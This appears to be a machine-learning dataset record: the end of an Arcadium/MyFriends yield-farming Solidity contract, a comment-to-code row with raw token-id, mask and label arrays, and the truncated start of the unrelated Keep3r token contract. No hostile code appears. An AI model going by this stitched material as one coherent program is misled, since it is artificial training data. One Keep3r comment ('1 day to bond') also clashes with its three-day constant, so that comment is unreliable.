emit GradientUpdated(endGoalArcadiumEmission, endArcadiumGradientBlock);
return true;
}
function autoUpdateArcadiumGradient() internal returns (bool) {
if (block.number < endArcadiumGradientBlock || gradientEra > 2)
return false;
// still need to check if we are too late even though we assert in updateArcadiumRelease
// as we might need to skip this gradient era and not fail this assert
if (gradientEra == 1) {
if (block.number + 4 < gradient2EndBlock &&
updateArcadiumRelease(gradient2EndBlock, gradient2EndEmmissions)) {
gradientEra = gradientEra + 1;
return true;
}
// if we missed it skip to the next era anyway
gradientEra = gradientEra + 1;
}
if (gradientEra == 2) {
if (block.number + 4 < gradient3EndBlock &&
updateArcadiumRelease(gradient3EndBlock, gradient3EndEmmissions))
gradientEra = gradientEra + 1;
return true;
}
return false;
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock)
return;
uint256 lpSupply = pool.totalLocked;
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 farmingLimitedBlock = block.number <= gradient3EndBlock ? block.number : gradient3EndBlock;
uint256 arcadiumRelease = arcadiumToolBox.getArcadiumRelease(isIncreasingGradient, arcadiumReleaseGradient, endArcadiumGradientBlock, endGoalArcadiumEmission, pool.lastRewardBlock, farmingLimitedBlock);
uint256 arcadiumReward = (arcadiumRelease * pool.allocPoint) / totalAllocPoint;
// Arcadium Txn fees ONLY for myFriends stakers.
if (address(pool.lpToken) == address(myFriends)) {
uint256 burnBalance = arcadium.balanceOf(BURN_ADDRESS);
arcadiumReward = arcadiumReward + (((burnBalance - lastArcadiumBurnBalance) * myFriendsShareOfBurn) / 10000);
lastArcadiumBurnBalance = burnBalance;
}
// the end of gradient 3 is the end of arcadium release
if (arcadiumReward > 0)
arcadium.mint(address(this), arcadiumReward);
if (myFriendsEmmissionEndBlock == type(uint256).max && address(pool.lpToken) != address(myFriends) &&
totalAllocPoint > poolInfo[myFriendsPID].allocPoint) {
uint256 myFriendsRelease = getMyFriendsMultiplier(pool.lastRewardBlock, block.number);
if (myFriendsRelease > 0) {
uint256 myFriendsReward = ((myFriendsRelease * myFriendsPerBlock * pool.allocPoint) / (totalAllocPoint - poolInfo[myFriendsPID].allocPoint));
// Getting MyFriends allocated specificlly for initial distribution.
myFriendsReward = myFriends.distribute(address(this), myFriendsReward);
// once we run out end myfriends emmissions.
if (myFriendsReward == 0 || myFriends.balanceOf(address(myFriends)) == 0)
myFriendsEmmissionEndBlock = block.number;
pool.accMyFriendsPerShare = pool.accMyFriendsPerShare + ((myFriendsReward * 1e24) / lpSupply);
}
}
pool.accArcadiumPerShare = pool.accArcadiumPerShare + ((arcadiumReward * 1e24) / lpSupply);
pool.lastRewardBlock = block.number;
}
// Return if address is a founder address.
function isFounder(address addr) public pure returns (bool) {
return addr == FOUNDER1_ADDRESS || addr == FOUNDER2_ADDRESS;
}
// Return if address is a founder address.
function isNativeToken(address addr) public view returns (bool) {
return addr == address(myFriends) || addr == address(arcadium);
}
// Deposit LP tokens to MasterChef for ARCADIUM allocation.
function deposit(uint256 _pid, uint256 _amount, address _referrer) external nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
// check if we need to update the gradients
// this will only do useful work a few times in masterChefs life
// if autoUpdateArcadiumGradient is called we have already called massUpdatePools.
if (!autoUpdateArcadiumGradient())
updatePool(_pid);
if (_amount > 0 && address(arcadiumReferral) != address(0) && _referrer != address(0) && _referrer != msg.sender) {
arcadiumReferral.recordReferral(msg.sender, _referrer);
}
payOrLockupPendingMyFriendsArcadium(_pid);
if (address(pool.lpToken) == address(myFriends)) {
payPendingUSDCReward();
}
if (_amount > 0) {
// Accept the balance of coins we recieve (useful for coins which take fees).
uint256 previousBalance = pool.lpToken.balanceOf(address(this));
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
_amount = pool.lpToken.balanceOf(address(this)) - previousBalance;
require(_amount > 0, "no funds were recieved");
if (pool.depositFeeBP > 0 && !isNativeToken(address(pool.lpToken))) {
uint256 depositFee = ((_amount * pool.depositFeeBP) / 10000);
// For LPs arcadium handles it 100%, destroys and distributes
uint256 arcadiumDepositFee = pool.tokenType == 1 ? depositFee : ((depositFee * 1e24) / 4) / 1e24;
pool.lpToken.safeTransfer(address(arcadium), arcadiumDepositFee);
// arcadium handles all LP type tokens
arcadium.swapDepositFeeForETH(address(pool.lpToken), pool.tokenType);
uint256 usdcRecieved = 0;
if (pool.tokenType == 1) {
// make sure we pick up any tokens from destroyed LPs from Arcadium
// (not guaranteed to have single sided pools to trigger).
usdcRecieved = myFriends.convertDepositFeesToUSDC(address(pool.lpToken), 1);
}
// Lp tokens get liquidated in Arcadium not MyFriends.
else if (pool.tokenType == 0) {
pool.lpToken.safeTransfer(address(myFriends), depositFee - arcadiumDepositFee);
usdcRecieved = myFriends.convertDepositFeesToUSDC(address(pool.lpToken), 0);
}
// pickup up and usdc that hasn't been collected yet (OTC or from Arcadium).
usdcRecieved = usdcRecieved + myFriends.convertDepositFeesToUSDC(address(usdcRewardCurrency), 0);
// MyFriends pool is always pool 0.
if (poolInfo[myFriendsPID].totalLocked > 0) {
accDepositUSDCRewardPerShare = accDepositUSDCRewardPerShare + ((usdcRecieved * 1e24) / poolInfo[myFriendsPID].totalLocked);
totalUSDCCollected = totalUSDCCollected + usdcRecieved;
}
user.amount = (user.amount + _amount) - depositFee;
pool.totalLocked = (pool.totalLocked + _amount) - depositFee;
} else {
user.amount = user.amount + _amount;
pool.totalLocked = pool.totalLocked + _amount;
}
}
user.arcadiumRewardDebt = ((user.amount * pool.accArcadiumPerShare) / 1e24);
user.myFriendsRewardDebt = ((user.amount * pool.accMyFriendsPerShare) / 1e24);
if (address(pool.lpToken) == address(myFriends))
user.usdcRewardDebt = ((user.amount * accDepositUSDCRewardPerShare) / 1e24);
skimPool(_pid);
emit Deposit(msg.sender, _pid, _amount);
}
// Return how much MyFriends should be saked by the founders at any time.
function getCurrentComplsoryFounderMyFriendsDeposit(uint256 blocknum) public view returns (uint256) {
// No MyFriends withdrawals before farmining
if (blocknum < startBlock)
return type(uint256).max;
if (blocknum > founderFinalLockupEndBlock)
return 0;
uint256 lockupDuration = founderFinalLockupEndBlock - startBlock;
uint256 currentUpTime = blocknum - startBlock;
return (((initialFounderMyFriendsStake * (lockupDuration - currentUpTime) * 1e6) / lockupDuration) / 1e6);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) external nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
if (address(pool.lpToken) == address(myFriends) && isFounder(msg.sender)) {
require((user.amount - _amount) >= getCurrentComplsoryFounderMyFriendsDeposit(block.number),
"founder wallets are locked up");
}
updatePool(_pid);
payOrLockupPendingMyFriendsArcadium(_pid);
if (address(pool.lpToken) == address(myFriends))
payPendingUSDCReward();
if (_amount > 0) {
user.amount = user.amount - _amount;
pool.totalLocked = pool.totalLocked - _amount;
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.arcadiumRewardDebt = ((user.amount * pool.accArcadiumPerShare) / 1e24);
user.myFriendsRewardDebt = ((user.amount * pool.accMyFriendsPerShare) / 1e24);
if (address(pool.lpToken) == address(myFriends))
user.usdcRewardDebt = ((user.amount * accDepositUSDCRewardPerShare) / 1e24);
skimPool(_pid);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) external nonReentrant {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 amount = user.amount;
user.amount = 0;
user.arcadiumRewardDebt = 0;
user.myFriendsRewardDebt = 0;
user.usdcRewardDebt = 0;
pool.lpToken.safeTransfer(address(msg.sender), amount);
// In the case of an accounting error, we choose to let the user emergency withdraw anyway
if (pool.totalLocked >= amount)
pool.totalLocked = pool.totalLocked - amount;
else
pool.totalLocked = 0;
emit EmergencyWithdraw(msg.sender, _pid, amount);
}
// Pay pending ARCADIUMs & MYFRIENDSs.
function payOrLockupPendingMyFriendsArcadium(uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 arcadiumPending = ((user.amount * pool.accArcadiumPerShare) / 1e24) - user.arcadiumRewardDebt;
uint256 myFriendsPending = ((user.amount * pool.accMyFriendsPerShare) / 1e24) - user.myFriendsRewardDebt;
if (arcadiumPending > 0) {
// send rewards
if (isFounder(msg.sender)) {
safeTokenTransfer(address(arcadium), BURN_ADDRESS, arcadiumPending/2);
arcadiumPending = arcadiumPending - arcadiumPending/2;
}
// arcadiumPending can't be zero
safeTokenTransfer(address(arcadium), msg.sender, arcadiumPending);
payReferralCommission(msg.sender, arcadiumPending);
}
if (myFriendsPending > 0) {
// send rewards
if (isFounder(msg.sender))
safeTokenTransfer(address(myFriends), BURN_ADDRESS, myFriendsPending);
else
safeTokenTransfer(address(myFriends), msg.sender, myFriendsPending);
}
}
// Pay pending USDC from the MyFriends staking reward scheme.
function payPendingUSDCReward() internal {
UserInfo storage user = userInfo[myFriendsPID][msg.sender];
uint256 usdcPending = ((user.amount * accDepositUSDCRewardPerShare) / 1e24) - user.usdcRewardDebt;
if (usdcPending > 0) {
// send rewards
myFriends.transferUSDCToUser(msg.sender, usdcPending);
}
}
// Safe token transfer function, just in case if rounding error causes pool to not have enough ARCADIUMs.
function safeTokenTransfer(address token, address _to, uint256 _amount) internal {
uint256 tokenBal = IERC20(token).balanceOf(address(this));
if (_amount > tokenBal) {
IERC20(token).safeTransfer(_to, tokenBal);
} else {
IERC20(token).safeTransfer(_to, _amount);
}
}
// Update the arcadium referral contract address by the owner
function setArcadiumReferral(IArcadiumReferral _arcadiumReferral) external onlyOwner {
require(address(_arcadiumReferral) != address(0), "arcadiumReferral cannot be the 0 address");
require(address(arcadiumReferral) == address(0), "arcadium referral address already set");
arcadiumReferral = _arcadiumReferral;
emit SetArcadiumReferral(address(arcadiumReferral));
}
// Pay referral commission to the referrer who referred this user.
function payReferralCommission(address _user, uint256 _pending) internal {
if (address(arcadiumReferral) != address(0) && referralCommissionRate > 0) {
address referrer = arcadiumReferral.getReferrer(_user);
uint256 commissionAmount = ((_pending * referralCommissionRate) / 10000);
if (referrer != address(0) && commissionAmount > 0) {
arcadium.mint(referrer, commissionAmount / 2);
arcadium.mint(_user, commissionAmount - (commissionAmount / 2));
arcadiumReferral.recordReferralCommission(referrer, commissionAmount);
}
}
}
}
| The last checked balance of ARCADIUM in the burn waller | uint256 public lastArcadiumBurnBalance = 0;
| 7,292,279 | [
1,
1986,
1142,
5950,
11013,
434,
6052,
39,
17708,
2799,
316,
326,
18305,
17662,
264,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
1071,
1142,
14598,
361,
5077,
38,
321,
13937,
273,
374,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2020-10-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "Keep3r::SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "Keep3r::SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "Keep3r::SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "Keep3r::SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "Keep3r::SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
interface Governance {
function proposeJob(address job) external returns (uint);
}
interface WETH9 {
function deposit() external payable;
function balanceOf(address account) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
}
interface Uniswap {
function factory() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
}
interface UniswapPair {
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function balanceOf(address account) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function totalSupply() external view returns (uint);
}
interface Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface Keep3rHelper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
contract Keep3r {
using SafeMath for uint;
/// @notice Keep3r Helper to set max prices for the ecosystem
Keep3rHelper public KPRH;
/// @notice WETH address to liquidity into UNI
WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
/// @notice UniswapV2Router address
Uniswap public constant UNI = Uniswap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
/// @notice EIP-20 token name for this token
string public constant name = "Keep3r";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "KPR";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 0; // Initial 0
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
mapping (address => mapping (address => uint)) internal allowances;
mapping (address => uint) internal balances;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint nonce,uint expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint value,uint nonce,uint deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint votes;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "::delegateBySig: invalid nonce");
require(now <= expiry, "::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint) {
require(blockNumber < block.number, "::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint delegatorBalance = bonds[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint srcRepNew = srcRepOld.sub(amount, "::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint oldVotes, uint newVotes) internal {
uint32 blockNumber = safe32(block.number, "::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint amount);
/// @notice Submit a job
event SubmitJob(address indexed job, address indexed provider, uint block, uint credit);
/// @notice Apply credit to a job
event ApplyCredit(address indexed job, address indexed provider, uint block, uint credit);
/// @notice Remove credit for a job
event RemoveJob(address indexed job, address indexed provider, uint block, uint credit);
/// @notice Unbond credit for a job
event UnbondJob(address indexed job, address indexed provider, uint block, uint credit);
/// @notice Added a Job
event JobAdded(address indexed job, uint block, address governance);
/// @notice Removed a job
event JobRemoved(address indexed job, uint block, address governance);
/// @notice Worked a job
event KeeperWorked(address indexed job, address indexed keeper, uint block);
/// @notice Keeper bonding
event KeeperBonding(address indexed keeper, uint block, uint active, uint bond);
/// @notice Keeper bonded
event KeeperBonded(address indexed keeper, uint block, uint activated, uint bond);
/// @notice Keeper unbonding
event KeeperUnbonding(address indexed keeper, uint block, uint deactive, uint bond);
/// @notice Keeper unbound
event KeeperUnbound(address indexed keeper, uint block, uint deactivated, uint bond);
/// @notice Keeper slashed
event KeeperSlashed(address indexed keeper, address indexed slasher, uint block, uint slash);
/// @notice Keeper disputed
event KeeperDispute(address indexed keeper, uint block);
/// @notice Keeper resolved
event KeeperResolved(address indexed keeper, uint block);
/// @notice 1 day to bond to become a keeper
uint constant public BOND = 3 days;
/// @notice 14 days to unbond to remove funds from being a keeper
uint constant public UNBOND = 14 days;
/// @notice 7 days maximum downtime before being slashed
uint constant public DOWNTIME = 7 days;
/// @notice 3 days till liquidity can be bound
uint constant public LIQUIDITYBOND = 3 days;
/// @notice 5% of funds slashed for downtime
uint constant public DOWNTIMESLASH = 500;
uint constant public BASE = 10000;
/// @notice tracks all current bondings (time)
mapping(address => uint) public bondings;
/// @notice tracks all current unbondings (time)
mapping(address => uint) public unbondings;
/// @notice allows for partial unbonding
mapping(address => uint) public partialUnbonding;
/// @notice tracks all current pending bonds (amount)
mapping(address => uint) public pendingbonds;
/// @notice tracks how much a keeper has bonded
mapping(address => uint) public bonds;
/// @notice total bonded (totalSupply for bonds)
uint public totalBonded = 0;
/// @notice tracks when a keeper was first registered
mapping(address => uint) public firstSeen;
/// @notice tracks if a keeper has a pending dispute
mapping(address => bool) public disputes;
/// @notice tracks last job performed for a keeper
mapping(address => uint) public lastJob;
/// @notice tracks the amount of job executions for a keeper
mapping(address => uint) public work;
/// @notice tracks the total job executions for a keeper
mapping(address => uint) public workCompleted;
/// @notice list of all jobs registered for the keeper system
mapping(address => bool) public jobs;
/// @notice the current credit available for a job
mapping(address => uint) public credits;
/// @notice the balances for the liquidity providers
mapping(address => mapping(address => mapping(address => uint))) public liquidityProvided;
/// @notice liquidity unbonding days
mapping(address => mapping(address => mapping(address => uint))) public liquidityUnbonding;
/// @notice liquidity unbonding amounts
mapping(address => mapping(address => mapping(address => uint))) public liquidityAmountsUnbonding;
/// @notice job proposal delay
mapping(address => uint) public jobProposalDelay;
/// @notice liquidity apply date
mapping(address => mapping(address => mapping(address => uint))) public liquidityApplied;
/// @notice liquidity amount to apply
mapping(address => mapping(address => mapping(address => uint))) public liquidityAmount;
/// @notice list of all current keepers
mapping(address => bool) public keepers;
/// @notice blacklist of keepers not allowed to participate
mapping(address => bool) public blacklist;
/// @notice traversable array of keepers to make external management easier
address[] public keeperList;
/// @notice traversable array of jobs to make external management easier
address[] public jobList;
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
/// @notice the liquidity token supplied by users paying for jobs
mapping(address => bool) public liquidityAccepted;
address[] public liquidityPairs;
uint internal gasUsed;
constructor() public {
// Set governance for this token
governance = msg.sender;
_mint(msg.sender, 10000e18);
}
/**
* @notice Approve a liquidity pair for being accepted in future
* @param liquidity the liquidity no longer accepted
*/
function approveLiquidity(address liquidity) external {
require(msg.sender == governance, "Keep3r::approveLiquidity: governance only");
